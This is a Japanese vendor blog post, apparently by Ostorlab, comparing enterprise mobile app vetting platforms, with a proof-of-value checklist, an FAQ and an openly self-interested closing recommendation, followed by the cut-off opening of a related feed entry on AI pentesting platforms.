&lt;p&gt;&lt;a href="https://blog.ostorlab.co/ostorlab-app-vetting.html" rel="noopener noreferrer" target="_blank"&gt;Ostorlab App Vettingのリリース発表&lt;/a&gt;と&lt;a href="https://blog.ostorlab.co/changelog-2026-07-07-july.html" rel="noopener noreferrer" target="_blank"&gt;Ostorlabの2026年7月の変更履歴&lt;/a&gt;で詳しく説明されているとおり、このプラットフォームはAndroidのAPKおよびAABパッケージとiOSのIPAパッケージに対応し、サードパーティのSDKを抽出し、テレメトリの送信先を追跡します。サードパーティのソフトウェアプロバイダーとの連携を容易にするため、Ostorlabは安全なトークンベースのWebリンクを生成し、外部の関係者がプラットフォームのアカウントを発行されることなく技術的な検出結果を確認できるようにしています。また、公開アプリストアで新しいリリースがあるとアプリケーションを自動的に再評価する継続的なバージョン監視も文書化されており、RESTおよびGraphQL APIを通じて利用できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：購入者は、自社固有のMDM連携の要件を確認し、大量のポートフォリオを自動で取り込む場合のAPIのレート制限を評価すべきです。&lt;/p&gt;
&lt;h3 id="nowsecure"&gt;NowSecure&lt;/h3&gt;
&lt;p&gt;NowSecureは、AndroidとiOSのソフトウェアに対する自動化されたセキュリティ、プライバシー、コンプライアンスのテストを専門とする、エンタープライズ向けのモバイルアプリケーションのリスク管理プラットフォームです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.nowsecure.com/products/platform/" rel="noopener noreferrer" target="_blank"&gt;NowSecure Platformの概要&lt;/a&gt;によると、このソリューションは、社内で開発されたモバイルアプリケーションと、従業員のエンドポイントに配布される商用のサードパーティ製アプリケーションを対象としています。このプラットフォームは、専用の物理モバイル端末上でコンパイル済みのアプリケーションパッケージを実行することで、自動化された静的テスト、動的テスト、インタラクティブテスト、APIテストを実施します。&lt;/p&gt;
&lt;p&gt;サードパーティ製アプリのベッティングと従業員のガバナンスについては、&lt;a href="https://www.nowsecure.com/solutions/by-need/mobile-app-risk-management/" rel="noopener noreferrer" target="_blank"&gt;NowSecure Mobile App Risk Management&lt;/a&gt;ソリューションがMobile App Risk Intelligence（MARI）を組み込み、Google PlayとApple App Storeから直接、市販の既製アプリケーションを評価します。このプラットフォームは、組み込まれたサードパーティのSDKを検査し、データストレージの扱いを監査し、NIAP、NIST SP 800-163、Google MASA、OWASP MASVSなどの基準への準拠をチェックします。NowSecureは、公開ストアのアプリケーションの継続的な監視と、REST APIやCI/CDプラグインを通じたエンタープライズ環境との連携を文書化しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：エンタープライズの購入者は、開発者向けのテストシートとMARIの従業員向けベッティングティアの間のパッケージ構成の違いと、非公開バイナリのテストに使える端末プールのキャパシティを確認すべきです。&lt;/p&gt;
&lt;h3 id="quokka"&gt;Quokka&lt;/h3&gt;
&lt;p&gt;Quokka（旧Kryptowire）は、バイナリの分解と振る舞い解析に基づく、自動化されたモバイルアプリケーションセキュリティテストと従業員向けアプリベッティングのソリューションを提供しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.quokka.io/products/q-scout" rel="noopener noreferrer" target="_blank"&gt;Quokka Q-scoutの製品概要&lt;/a&gt;によると、同社は、エンタープライズのリスクチームとモビリティチーム向けに設計されたエージェントレスのソリューションであるQ-scoutを通じて、従業員向けのアプリベッティングを提供しています。Q-scoutは端末外で動作し、エンタープライズの端末群にインストールされたアプリケーションを評価します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.quokka.io/use-case/mobile-app-vetting" rel="noopener noreferrer" target="_blank"&gt;Quokka Mobile App Vetting&lt;/a&gt;で説明されているとおり、Q-scoutは、Microsoft IntuneやHexnode UEMなどのモバイルデバイス管理システムや統合エンドポイント管理システムと連携します。管理対象の端末からアプリケーションのインベントリを継続的に取得し、静的テストと端末外での振る舞いテストを実行して、不正なデータ収集、PIIの収集、コンプライアンス違反を特定します。検出結果は、NIST SP 800-163などの基準や、エンタープライズ独自のセキュリティポリシーに対応付けられます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：購入者は、臨時のアプリや社内の非公開エンタープライズバイナリを、有効なMDMテストグループに登録せずに直接評価できるかどうかを評価し、外部の開発者向けに提供されるレポート形式を確認すべきです。&lt;/p&gt;
&lt;h3 id="zimperium"&gt;Zimperium&lt;/h3&gt;
&lt;p&gt;Zimperiumは、Mobile Application Protection SuiteとMobile Threat Defenseプラットフォームを通じて、モバイルエンドポイントの保護とアプリケーションセキュリティを提供しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://zimperium.com/mtd/mobile-app-vetting" rel="noopener noreferrer" target="_blank"&gt;Zimperium Mobile App Vetting&lt;/a&gt;によると、Zimperiumは、同社のエンタープライズ向けエンドポイントセキュリティプラットフォームに統合されたリスクインテリジェンス機能であるz3Aを通じて、モバイルアプリベッティングを提供しています。z3Aは、管理対象のエンタープライズ端末で検出されたモバイルアプリケーションを継続的に監視し、公開アプリストアのパッケージについて、セキュリティ、プライバシー、コンプライアンスのリスクを分析します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://zimperium.com/maps" rel="noopener noreferrer" target="_blank"&gt;Zimperium MAPSの概要&lt;/a&gt;に記載されているとおり、z3Aエンジンは静的な分解と振る舞い解析を用いてアプリケーションを評価します。z3Aは、ZimperiumのMTDエージェントや、Microsoft Intuneなどのエンタープライズ向けUEMとの連携と並行して動作するため、組織は、アプリケーションが定義されたリスクのしきい値に違反した場合に企業データへのアクセスを制限するコンプライアンスポリシーを設定できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：組織は、ZimperiumのオンデバイスMTDエージェントをデプロイせずに、調達前の評価のための独立したベッティングソリューションとしてz3Aをデプロイできるかどうかを評価し、ストアに掲載されていないパッケージについて、独自の非公開バイナリをどこまで取り込めるかを確認すべきです。&lt;/p&gt;
&lt;h3 id="appknox"&gt;Appknox&lt;/h3&gt;
&lt;p&gt;Appknoxは、コンパイル済みのAndroidおよびiOSのバイナリに対する脆弱性評価と動的テストを自動化するよう設計された、モバイルアプリケーションセキュリティテストのプラットフォームです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.appknox.com/vulnerability-assessment" rel="noopener noreferrer" target="_blank"&gt;Appknox Vulnerability Assessment&lt;/a&gt;によると、このプラットフォームはソースコードへのアクセスを必要とせずにセキュリティ評価を行い、コンパイル済みのアプリケーションパッケージを取り込んで、静的アプリケーションセキュリティテスト、動的アプリケーションセキュリティテスト、APIの脆弱性評価を実施します。動的テストは専用の物理端末で実施されます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.appknox.com/all-features/software-bill-of-materials-sbom" rel="noopener noreferrer" target="_blank"&gt;Appknox Software Bill of Materials (SBOM)&lt;/a&gt;で説明されているとおり、このプラットフォームはCycloneDX形式のソフトウェア部品表を自動で生成し、組み込まれたオープンソースの依存関係を特定して、サードパーティのSDKを既知のCVEに対応付けます。Appknoxは、公開マーケットプレイス上のクローンや古いバージョンを特定するアプリストア監視ツールであるStoreknoxも提供しています。Appknoxは、クラウドSaaS、プライベートクラウド、オンプレミスのデプロイオプションを文書化しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：購入者は、Appknoxがエンタープライズの調達ワークフローに合わせた、ポリシーに基づく自動化された合否のしきい値を提供しているのか、それともスキャン結果の解釈が主に開発者主導の脆弱性トリアージを想定したものなのかを確認すべきです。&lt;/p&gt;
&lt;h3 id="data theorem"&gt;Data Theorem&lt;/h3&gt;
&lt;p&gt;Data Theoremは、モバイルアプリケーション、Webアセット、クラウドインフラストラクチャ、APIにまたがる、継続的なアプリケーションセキュリティとアタックサーフェス管理を提供しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.datatheorem.com/products/mobile-secure" rel="noopener noreferrer" target="_blank"&gt;Data Theorem Mobile Secureの概要&lt;/a&gt;によると、Mobile Secureは、iOSおよびAndroidのアプリケーションに対して、継続的な自動セキュリティテストを提供します。このソリューションは、静的解析、自動化された動的解析、ソフトウェア構成分析、バックエンドのAPI検出を、統一されたテストワークフローに統合しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.datatheorem.com/solutions/mobile-application-security" rel="noopener noreferrer" target="_blank"&gt;Data Theorem Mobile Application Security&lt;/a&gt;で詳しく説明されているとおり、このプラットフォームは、Apple App StoreとGoogle Playにある公開モバイルアプリケーションのインベントリを継続的に作成します。その分析エンジンは、コンパイル済みバイナリを評価し、サードパーティのSDKを抽出し、データプライバシーの扱いを監査し、モバイルクライアントが呼び出すAPIエンドポイントをマッピングします。検出結果はOWASP MASVSなどの基準に対応付けられ、アラートはSlack、Jira、CI/CDとの連携を通じて通知されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：購入者は、Data Theoremのレポートとワークフローが、独自のリスクの重み付けによって外部のサードパーティ製ソフトウェアをベッティングすることに最適化されているのか、それとも主に組織の自社開発のモバイルとAPIのアタックサーフェスを保護することに焦点を当てているのかを確認すべきです。&lt;/p&gt;
&lt;h2 id="信頼できる価値実証の進め方"&gt;信頼できる価値実証の進め方&lt;/h2&gt;
&lt;p&gt;モバイルアプリベッティングプラットフォームを評価する際、セキュリティチームは、ベンダーが選んだデモ用アプリではなく、代表的なエンタープライズアプリケーションを使って、体系的な価値実証を行うべきです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;評価領域&lt;/th&gt;
&lt;th style="text-align: left;"&gt;検証手順&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;バイナリの取り込み&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プラットフォームのティアが対応している範囲で、AndroidとiOSにまたがり、公開ストアのURL、AABパッケージで表される分割APK、エンタープライズ署名のIPAをテストする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;動的な実行&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;該当する場合に、動的テストがTLSの証明書ピンニングに対処し、暗号化されたネットワークトラフィックを検査できることを検証する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;SDKの特定&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プラットフォームが抽出したSBOMを既知のライブラリのマニフェストと比較し、組み込まれたトラッキングSDKや分析SDKを検出できるかを検証する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プライバシーの監査&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;機密性の高いデバイス権限、位置情報、バックグラウンドでのネットワーク送信先へのアクセスが、明示的に記録されるかどうかを確認する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ポリシーの適用&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;暗号化されていないHTTPのフラグや未承認のトラッキングSDKなど、独自のコンプライアンスルールを、組織のリスク許容度に照らしてテストする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;継続的なアップデート&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開ストアで稼働中のアプリをバージョンのリリースをまたいで監視し、自動再テストの機能を検証する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;関係者との連携&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;レポートのエクスポートや共有リンクを生成し、外部のソフトウェアベンダーや開発者が検出結果を容易に確認できることを確かめる。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;評価の際に各ベンダーに確認すべき主な質問は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flutter、React Native、Swift、Kotlin、組み込みのC/C++ライブラリなどの最新のフレームワークを、エンジンはどのように逆コンパイルして分析するのか&lt;/li&gt;
&lt;li&gt;動的な実行は計装されたサンドボックスで行われるのか、物理端末のプールで行われるのか。また、完全なネットワークログを確認できるのか&lt;/li&gt;
&lt;li&gt;全体的なリスクスコアはどのように算出されるのか。また、スコアリングの重みをエンタープライズのリスクポリシーに合わせてカスタマイズできるのか&lt;/li&gt;
&lt;li&gt;アップロードされたアプリケーションバイナリと分析データは、どこで処理され、保存されるのか&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="おすすめのエンタープライズ向けモバイルアプリベッティングプラットフォームはどれか"&gt;おすすめのエンタープライズ向けモバイルアプリベッティングプラットフォームはどれか&lt;/h3&gt;
&lt;p&gt;この比較で評価したエンタープライズ向けモバイルアプリベッティングプラットフォームは、Ostorlab、NowSecure、Quokka Q-scout、Zimperium z3A、Appknox、Data Theorem Mobile Secureです。いずれもAndroidとiOSの評価機能を文書化していますが、運用モデル、スコアリングの透明性、デプロイ、端末群との連携の点で異なります。&lt;/p&gt;
&lt;h3 id="モバイルアプリベッティングとは何か"&gt;モバイルアプリベッティングとは何か&lt;/h3&gt;
&lt;p&gt;モバイルアプリベッティングとは、iOSとAndroidのアプリケーションパッケージを、エンタープライズの端末へのデプロイ前およびデプロイ中に、セキュリティ、プライバシー、コンプライアンスの基準に照らして評価することです。これにより、組織はソースコードへのアクセスを必要とせずに、サードパーティ製のソフトウェアや社内で配布されるソフトウェアを評価できます。&lt;/p&gt;
&lt;h3 id="androidとiosに対応しているアプリベッティングプラットフォームはどれか"&gt;AndroidとiOSに対応しているアプリベッティングプラットフォームはどれか&lt;/h3&gt;
&lt;p&gt;Ostorlab、NowSecure、Quokka、Zimperium、Appknox、Data Theoremは、AndroidとiOSのアプリケーション分析への対応を文書化しています。正確なパッケージ対応、端末のカバレッジ、テストの深さについては、提案された製品ティアごとに確認する必要があります。&lt;/p&gt;
&lt;h3 id="アプリベッティングで非公開のエンタープライズアプリケーションを評価できるか"&gt;アプリベッティングで非公開のエンタープライズアプリケーションを評価できるか&lt;/h3&gt;
&lt;p&gt;Ostorlab、NowSecure、Appknoxなど、バイナリを直接取り込むよう設計されたプラットフォームは、該当する製品において非公開バイナリやリリース前バイナリへの対応を文書化しています。購入者は、特にMDM中心のプラットフォームについて、利用権と取り込みの要件を確認すべきです。&lt;/p&gt;
&lt;h3 id="アプリベッティングプラットフォームはどのようなリスクを評価すべきか"&gt;アプリベッティングプラットフォームはどのようなリスクを評価すべきか&lt;/h3&gt;
&lt;p&gt;エンタープライズ向けのアプリベッティングプラットフォームは、マルウェアの指標、技術的な脆弱性、プライバシーの漏えい、実行時の機密性の高い権限、組み込まれたサードパーティのSDK、暗号化されていないネットワーク通信、パブリッシャーの信頼性を示すシグナルを評価すべきです。&lt;/p&gt;
&lt;h3 id="アプリベッティングとmastの違いは何か"&gt;アプリベッティングとMASTの違いは何か&lt;/h3&gt;
&lt;p&gt;モバイルアプリベッティングは、サードパーティ製や従業員向けのソフトウェアパッケージを、エンタープライズのセキュリティとプライバシーのしきい値に照らして評価します。モバイルアプリケーションセキュリティテストは、組織が開発し所有するアプリケーションの脆弱性を発見して修復することに焦点を当てています。&lt;/p&gt;
&lt;h3 id="アプリベッティングとモバイル脅威防御の違いは何か"&gt;アプリベッティングとモバイル脅威防御の違いは何か&lt;/h3&gt;
&lt;p&gt;モバイルアプリベッティングは、エンタープライズへのデプロイ前またはデプロイ中に、コンパイル済みのアプリケーションパッケージを分析します。モバイル脅威防御は、悪意のあるネットワーク、フィッシング、OSの侵害などの実行時の脅威について、稼働中の端末を監視します。&lt;/p&gt;
&lt;h3 id="アプリベッティングでプライバシーリスクやサードパーティのトラッカーを検出できるか"&gt;アプリベッティングでプライバシーリスクやサードパーティのトラッカーを検出できるか&lt;/h3&gt;
&lt;p&gt;できます。アプリベッティングプラットフォームは、パッケージの検査を通じて宣言された権限や組み込まれたトラッキングSDKを特定できます。また、動的テストを備えたプラットフォームでは、外部へのネットワークトラフィックや実行時のデータの振る舞いも観察できます。&lt;/p&gt;
&lt;h3 id="エンタープライズはモバイルアプリのリスクスコアをどのように比較すべきか"&gt;エンタープライズはモバイルアプリのリスクスコアをどのように比較すべきか&lt;/h3&gt;
&lt;p&gt;エンタープライズは、各プラットフォームがスコアリングの入力、カテゴリの重み、エビデンス、承認判断への影響をどのように説明しているかを比較すべきです。ベンダー間では、同じ代表的なアプリケーションと、組織の同じリスクのしきい値を使用する必要があります。&lt;/p&gt;
&lt;h3 id="アプリベッティングはモバイルのペネトレーションテストの代わりになるか"&gt;アプリベッティングはモバイルのペネトレーションテストの代わりになるか&lt;/h3&gt;
&lt;p&gt;なりません。自動化されたアプリベッティングは、モバイルのポートフォリオ全体にわたって、スケーラブルで反復可能なセキュリティとプライバシーの制御を確立します。一方、ペネトレーションテストは、リスクの高いアプリケーションにおける、より深いビジネスロジックの欠陥、認可の弱点、連鎖した攻撃経路を調査します。&lt;/p&gt;
&lt;h3 id="エンタープライズのアプリケーションはどのくらいの頻度で再評価すべきか"&gt;エンタープライズのアプリケーションはどのくらいの頻度で再評価すべきか&lt;/h3&gt;
&lt;p&gt;エンタープライズのモバイルアプリケーションは、新しいリリースや、組み込まれたコンポーネントに影響する関連の脆弱性の公開など、重要な変更があった後に再評価すべきです。組織は、アプリケーションのリスクに応じて頻度を定め、適切な場合は継続的な監視を活用すべきです。&lt;/p&gt;
&lt;h2 id="ostorlabからの最終的な推奨"&gt;Ostorlabからの最終的な推奨&lt;/h2&gt;
&lt;p&gt;エンタープライズ向けモバイルアプリベッティングプラットフォームを選定する際、組織はその選択を自社の主要な運用アーキテクチャに合わせる必要があります。デバイス管理プロファイルを通じた端末群全体のコンプライアンスを重視するエンタープライズは、通常、MDM環境と連携したソリューションを評価します。一方、リリース前のアプリケーションテストを重視するチームは、開発者中心のMASTプラットフォームを評価することが多いでしょう。&lt;/p&gt;
&lt;p&gt;サードパーティ製ソフトウェアと非公開のエンタープライズバイナリのための、自動化されたリスクガバナンスエンジンを求めるエンタープライズのリスク管理者、調達チーム、セキュリティ責任者に対して、&lt;strong&gt;Ostorlab&lt;/strong&gt;は焦点を絞った、文書化されたアプローチを提供します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;技術的な検出結果を明確なエンタープライズのリスク判定に変換する、文書化された&lt;strong&gt;5要素の重み付きリスクモデル&lt;/strong&gt;（マルウェア35%、セキュリティ25%、プライバシー20%、信頼性10%、保守性10%）。&lt;/li&gt;
&lt;li&gt;複雑な手動テストスクリプトを必要とせずに、実行時の振る舞いと外部へのテレメトリを観察する、&lt;strong&gt;安全な隔離環境でのサンドボックス実行&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;公開アプリストアで新しいバージョンがリリースされるたびにアプリケーションを自動的に再評価する、&lt;strong&gt;上流の継続的な監視&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;完全なプラットフォームアカウントを必要とせずに、社内のリスクチームがソフトウェアベンダーや外部の開発者とインタラクティブなレポートを共有できる、&lt;strong&gt;トークンベースの連携&lt;/strong&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;組織は、&lt;a href="https://report.ostorlab.co/scan/appcard" rel="noopener noreferrer" target="_blank"&gt;Ostorlab App Vettingプラットフォーム&lt;/a&gt;から評価を開始するか、&lt;a href="https://blog.ostorlab.co/definitive-guide-mobile-app-vetting.html" rel="noopener noreferrer" target="_blank"&gt;モバイルアプリベッティング完全ガイド&lt;/a&gt;でより幅広いガバナンスのフレームワークを確認することで、Ostorlab App Vettingを評価できます。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://blog.ostorlab.co/best-enterprise-mobile-app-vetting-platforms-2026.html#article",
      "headline": "2026年のおすすめエンタープライズ向けモバイルアプリベッティングプラットフォーム",
      "description": "2026年のエンタープライズ向けモバイルアプリベッティングプラットフォームを、エビデンスに基づいて技術的に比較します。Ostorlab、NowSecure、Quokka Q-scout、Zimperium z3A、Appknox、Data Theoremを、運用モデル、リスクスコアリング、継続的な監視の観点から評価します。",
      "url": "https://blog.ostorlab.co/best-enterprise-mobile-app-vetting-platforms-2026.html",
      "mainEntityOfPage": "https://blog.ostorlab.co/best-enterprise-mobile-app-vetting-platforms-2026.html",
      "datePublished": "2026-09-10T10:00:00+02:00",
      "dateModified": "2026-09-10T10:00:00+02:00",
      "author": {
        "@type": "Person",
        "name": "Abir Jelti"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co/"
      },
      "image": "https://blog.ostorlab.co/static/img/2026_09_10_best_app_vetting/cover.png"
    },
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/best-enterprise-mobile-app-vetting-platforms-2026.html#itemlist",
      "name": "評価したエンタープライズ向けモバイルアプリベッティングプラットフォーム",
      "description": "この比較分析で評価したエンタープライズ向けモバイルアプリベッティングプラットフォーム。掲載順はOstorlabが公開したこの評価の構成を反映したもので、客観的な市場ランキングではありません。",
      "numberOfItems": 6,
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Ostorlab",
          "url": "https://ostorlab.co/product/app_vetting"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "NowSecure",
          "url": "https://www.nowsecure.com/products/platform/"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "Quokka Q-scout",
          "url": "https://www.quokka.io/products/q-scout"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "Zimperium z3A",
          "url": "https://zimperium.com/mtd/mobile-app-vetting"
        },
        {
          "@type": "ListItem",
          "position": 5,
          "name": "Appknox",
          "url": "https://www.appknox.com/vulnerability-assessment"
        },
        {
          "@type": "ListItem",
          "position": 6,
          "name": "Data Theorem Mobile Secure",
          "url": "https://www.datatheorem.com/products/mobile-secure"
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/best-enterprise-mobile-app-vetting-platforms-2026.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "おすすめのエンタープライズ向けモバイルアプリベッティングプラットフォームはどれか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "この比較で評価したエンタープライズ向けモバイルアプリベッティングプラットフォームは、Ostorlab、NowSecure、Quokka Q-scout、Zimperium z3A、Appknox、Data Theorem Mobile Secureです。いずれもAndroidとiOSの評価機能を文書化していますが、運用モデル、スコアリングの透明性、デプロイ、端末群との連携の点で異なります。"
          }
        },
        {
          "@type": "Question",
          "name": "モバイルアプリベッティングとは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "モバイルアプリベッティングとは、iOSとAndroidのアプリケーションパッケージを、エンタープライズの端末へのデプロイ前およびデプロイ中に、セキュリティ、プライバシー、コンプライアンスの基準に照らして評価することです。これにより、組織はソースコードへのアクセスを必要とせずに、サードパーティ製のソフトウェアや社内で配布されるソフトウェアを評価できます。"
          }
        },
        {
          "@type": "Question",
          "name": "AndroidとiOSに対応しているアプリベッティングプラットフォームはどれか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Ostorlab、NowSecure、Quokka、Zimperium、Appknox、Data Theoremは、AndroidとiOSのアプリケーション分析への対応を文書化しています。正確なパッケージ対応、端末のカバレッジ、テストの深さについては、提案された製品ティアごとに確認する必要があります。"
          }
        },
        {
          "@type": "Question",
          "name": "アプリベッティングで非公開のエンタープライズアプリケーションを評価できるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Ostorlab、NowSecure、Appknoxなど、バイナリを直接取り込むよう設計されたプラットフォームは、該当する製品において非公開バイナリやリリース前バイナリへの対応を文書化しています。購入者は、特にMDM中心のプラットフォームについて、利用権と取り込みの要件を確認すべきです。"
          }
        },
        {
          "@type": "Question",
          "name": "アプリベッティングプラットフォームはどのようなリスクを評価すべきか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "エンタープライズ向けのアプリベッティングプラットフォームは、マルウェアの指標、技術的な脆弱性、プライバシーの漏えい、実行時の機密性の高い権限、組み込まれたサードパーティのSDK、暗号化されていないネットワーク通信、パブリッシャーの信頼性を示すシグナルを評価すべきです。"
          }
        },
        {
          "@type": "Question",
          "name": "アプリベッティングとMASTの違いは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "モバイルアプリベッティングは、サードパーティ製や従業員向けのソフトウェアパッケージを、エンタープライズのセキュリティとプライバシーのしきい値に照らして評価します。モバイルアプリケーションセキュリティテストは、組織が開発し所有するアプリケーションの脆弱性を発見して修復することに焦点を当てています。"
          }
        },
        {
          "@type": "Question",
          "name": "アプリベッティングとモバイル脅威防御の違いは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "モバイルアプリベッティングは、エンタープライズへのデプロイ前またはデプロイ中に、コンパイル済みのアプリケーションパッケージを分析します。モバイル脅威防御は、悪意のあるネットワーク、フィッシング、OSの侵害などの実行時の脅威について、稼働中の端末を監視します。"
          }
        },
        {
          "@type": "Question",
          "name": "アプリベッティングでプライバシーリスクやサードパーティのトラッカーを検出できるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "できます。アプリベッティングプラットフォームは、パッケージの検査を通じて宣言された権限や組み込まれたトラッキングSDKを特定できます。また、動的テストを備えたプラットフォームでは、外部へのネットワークトラフィックや実行時のデータの振る舞いも観察できます。"
          }
        },
        {
          "@type": "Question",
          "name": "エンタープライズはモバイルアプリのリスクスコアをどのように比較すべきか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "エンタープライズは、各プラットフォームがスコアリングの入力、カテゴリの重み、エビデンス、承認判断への影響をどのように説明しているかを比較すべきです。ベンダー間では、同じ代表的なアプリケーションと、組織の同じリスクのしきい値を使用する必要があります。"
          }
        },
        {
          "@type": "Question",
          "name": "アプリベッティングはモバイルのペネトレーションテストの代わりになるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "なりません。自動化されたアプリベッティングは、モバイルのポートフォリオ全体にわたって、スケーラブルで反復可能なセキュリティとプライバシーの制御を確立します。一方、ペネトレーションテストは、リスクの高いアプリケーションにおける、より深いビジネスロジックの欠陥、認可の弱点、連鎖した攻撃経路を調査します。"
          }
        },
        {
          "@type": "Question",
          "name": "エンタープライズのアプリケーションはどのくらいの頻度で再評価すべきか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "エンタープライズのモバイルアプリケーションは、新しいリリースや、組み込まれたコンポーネントに影響する関連の脆弱性の公開など、重要な変更があった後に再評価すべきです。組織は、アプリケーションのリスクに応じて頻度を定め、適切な場合は継続的な監視を活用すべきです。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Product"/><category term="Mobile Security"/><category term="App Vetting"/><category term="Enterprise Security"/><category term="Mobile App Risk Assessment"/><category term="Compliance"/></entry><entry><title>2026年のおすすめAIペンテストプラットフォーム</title><link href="https://blog.ostorlab.co/ja/best-ai-pentesting-platforms-2026.html" rel="alternate"/><published>2026-09-09T00:00:00+02:00</published><updated>2026-09-10T13:40:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-09:/ja/best-ai-pentesting-platforms-2026.html</id><summary type="html">&lt;p&gt;2026年の主要なAIペンテストプラットフォームを、アセットのカバレッジ、自律的な悪用、攻撃チェーン、エビデンス、コンプライアンス、デプロイ形態の観点で比較します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;2026年のおすすめAIペンテストプラットフォームには、Ostorlab、XBOW、Horizon3.ai NodeZero、Pentera、Aikido Securityが挙げられ、Hadrian、Escape、Synackはより特化した運用モデルに適しています。適切な選択は、アセットのカバレッジ、自律的なエクスプロイト検証、アセットをまたぐ攻撃チェーン、再現可能なエビデンス、コンプライアンスレポート、デプロイ要件によって決まります。&lt;/p&gt;
&lt;p&gt;本ガイドは、アプリケーションセキュリティ（AppSec）チームとDevSecOpsチームが、これらの運用モデルを自社の実際の環境と照らし合わせて比較できるようにするためのものです。&lt;strong&gt;調査した公開資料の中で、ネイティブのAndroidおよびiOSテストと、Webアプリケーション、API、ソースコード、ネットワーク、関連ファイルにまたがる連携したエージェント型調査とを組み合わせていることが文書化されていたのは、評価対象のプラットフォームのうちOstorlabだけでした。&lt;/strong&gt;この比較では、リンク先のファーストパーティの製品ページとドキュメントをエビデンスの基盤としています。&lt;/p&gt;
&lt;h2 id="このaiペンテスト比較はどのように調査されたか"&gt;このAIペンテスト比較はどのように調査されたか&lt;/h2&gt;
&lt;p&gt;本ガイドはOstorlabが公開しています。最新のファーストパーティの公開ドキュメントを用いており、検出率、スキャン速度、誤検知（フォールスポジティブ）率に関する独立したベンチマークを示すものではありません。「誤検知ゼロ」、コンプライアンス対応、AIの自律性に関するベンダーの記述は、再現可能な公開成果物による裏付けがない限り、ベンダーの主張として扱っています。&lt;strong&gt;最終レビュー日：&lt;/strong&gt;2026年9月10日。&lt;/p&gt;
&lt;h2 id="aiペンテストプラットフォームの比較一覧"&gt;AIペンテストプラットフォームの比較一覧&lt;/h2&gt;
